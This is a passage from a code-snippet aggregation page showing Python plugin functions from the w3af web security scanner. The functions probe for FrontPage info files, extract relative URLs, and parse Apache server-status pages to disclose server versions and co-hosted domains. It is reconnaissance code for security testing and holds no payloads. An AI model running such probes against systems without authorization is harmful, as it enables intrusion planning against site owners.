                om.out.debug(msg)
                extension = ""
예제 #28
0
    def discover(self, fuzzableRequest ):
        '''
        For every directory, fetch a list of files and analyze the response.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        fuzzable_return_value = []
        
        if not self._exec:
            # This will remove the plugin from the discovery plugins to be runned.
            raise w3afRunOnce()
            
        else:
            # Run the plugin.
            self._exec = False

        for domain_path in urlParser.getDirectories(fuzzableRequest.getURL() ):

            if domain_path not in self._analyzed_dirs:

                # Save the domain_path so I know I'm not working in vane
                self._analyzed_dirs.add( domain_path )

                # Request the file
                frontpage_info_url = urlParser.urlJoin(  domain_path , "_vti_inf.html" )
                try:
                    response = self._urlOpener.GET( frontpage_info_url, useCache=True )
                    om.out.debug( '[frontpage_version] Testing "' + frontpage_info_url + '".' )
                except w3afException,  w3:
                    msg = 'Failed to GET Frontpage Server _vti_inf.html file: "'
                    msg += frontpage_info_url + '". Exception: "' + str(w3) + '".'
                    om.out.debug( msg )
                else:
                    # Check if it's a Fronpage Info file
                    if not is_404( response ):
                        fuzzable_return_value.extend( self._createFuzzableRequests( response ) )
                        self._analyze_response( response )
                        return fuzzable_return_value
예제 #29
0
        def find_relative( doc ):
            res = []
            
            # TODO: Also matches //foo/bar.txt and http://host.tld/foo/bar.txt
            # I'm removing those matches manually below
            regex = '((:?[/]{1,2}[A-Z0-9a-z%_\-~\.]+)+\.[A-Za-z0-9]{2,4}(((\?)([a-zA-Z0-9]*=\w*)){1}((&)([a-zA-Z0-9]*=\w*))*)?)'
            relative_regex = re.compile( regex )
            
            for match_tuple in relative_regex.findall(doc):
                
                match_string = match_tuple[0]
                
                #
                #   And now I filter out some of the common false positives
                #
                if match_string.startswith('//'):
                    continue
                    
                if match_string.startswith('://'):
                    continue

                if re.match('HTTP/\d\.\d', match_string):
                    continue
                
                # Matches "PHP/5.2.4-2ubuntu5.7" , "Apache/2.2.8", and "mod_python/3.3.1"
                if re.match('.*?/\d\.\d\.\d', match_string):
                    continue
                #
                #   Filter finished.
                #
                    
                domainPath = urlParser.getDomainPath(httpResponse.getURL())
                url = urlParser.urlJoin( domainPath , match_string )
                url = self._decode_URL(url, self._encoding)
                res.append( url )
            
            return res
예제 #30
0
    def discover(self, fuzzableRequest ):
        '''
        Get the server-status and parse it.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        res = []
        if not self._exec :
            # This will remove the plugin from the discovery plugins to be runned.
            raise w3afRunOnce()
            
        else:
            # Only run once
            self._exec = False
            
            base_url = urlParser.baseUrl( fuzzableRequest.getURL() )
            server_status_url = urlParser.urlJoin(  base_url , 'server-status' )
            response = self._urlOpener.GET( server_status_url, useCache=True )
            
            if not is_404( response ) and response.getCode() not in range(400, 404):
                msg = 'Apache server-status cgi exists. The URL is: "' + response.getURL() + '".'
                om.out.information( msg )
                
                # Create some simple fuzzable requests
                res.extend( self._createFuzzableRequests( response ) )

                # Get the server version
                # <dl><dt>Server Version: Apache/2.2.9 (Unix)</dt>
                for version in re.findall('<dl><dt>Server Version: (.*?)</dt>', response.getBody()):
                    # Save the results in the KB so the user can look at it
                    i = info.info()
                    i.setPluginName(self.getName())
                    i.setURL( response.getURL() )
                    i.setId( response.id )
                    i.setName( 'Apache Server version' )
                    msg = 'The web server has the apache server status module enabled, '
                    msg += 'which discloses the following remote server version: "' + version + '".'
                    i.setDesc( msg )

                    om.out.information(i.getDesc())
                    kb.kb.append( self, 'server', i )
                
                # Now really parse the file and create custom made fuzzable requests
                regex = '<td>.*?<td nowrap>(.*?)</td><td nowrap>.*? (.*?) HTTP/1'
                for domain, path in re.findall(regex, response.getBody() ):
                    
                    if 'unavailable' in domain:
                        domain = urlParser.getDomain( response.getURL() )
                        
                    foundURL = urlParser.getProtocol( response.getURL() ) + '://' + domain + path
                    # Check if the requested domain and the found one are equal.
                    if urlParser.getDomain( foundURL ) == urlParser.getDomain( response.getURL() ):
                        # They are equal, request the URL and create the fuzzable requests
                        tmpRes = self._urlOpener.GET( foundURL, useCache=True )
                        if not is_404( tmpRes ):
                            res.extend( self._createFuzzableRequests( tmpRes ) )
                    else:
                        # This is a shared hosting server
                        self._shared_hosting_hosts.append( domain )
                
                # Now that we are outsite the for loop, we can report the possible vulns
                if len( self._shared_hosting_hosts ):
                    v = vuln.vuln()
                    v.setPluginName(self.getName())
                    v.setURL( fuzzableRequest.getURL() )
                    v.setId( response.id )
                    self._shared_hosting_hosts = list( set( self._shared_hosting_hosts ) )
                    v['alsoInHosting'] = self._shared_hosting_hosts
                    v.setDesc( 'The web application under test seems to be in a shared hosting.' )
                    v.setName( 'Shared hosting' )
                    v.setSeverity(severity.MEDIUM)
                    
                    kb.kb.append( self, 'sharedHosting', v )
                    om.out.vulnerability( v.getDesc(), severity=v.getSeverity() )
                
                    msg = 'This list of domains, and the domain of the web application under test,'
                    msg += ' all point to the same server:'
                    om.out.vulnerability(msg, severity=severity.MEDIUM )
                    for url in self._shared_hosting_hosts:
                        om.out.vulnerability('- ' + url, severity=severity.MEDIUM )
                
                # Check if well parsed
                elif 'apache' in response.getBody().lower():
                    msg = 'Couldn\'t find any URLs in the apache server status page. Two things can'
                    msg += ' trigger this:\n    - The Apache web server sent a server-status page'
                    msg += ' that the serverStatus plugin failed to parse or,\n    - The remote '
                    msg += ' web server has no traffic. If you are sure about the first one, please'
                    msg += ' report a bug.'
                    om.out.information( msg )
                    om.out.debug('The server-status body is: "'+response.getBody()+'"')
        
        return res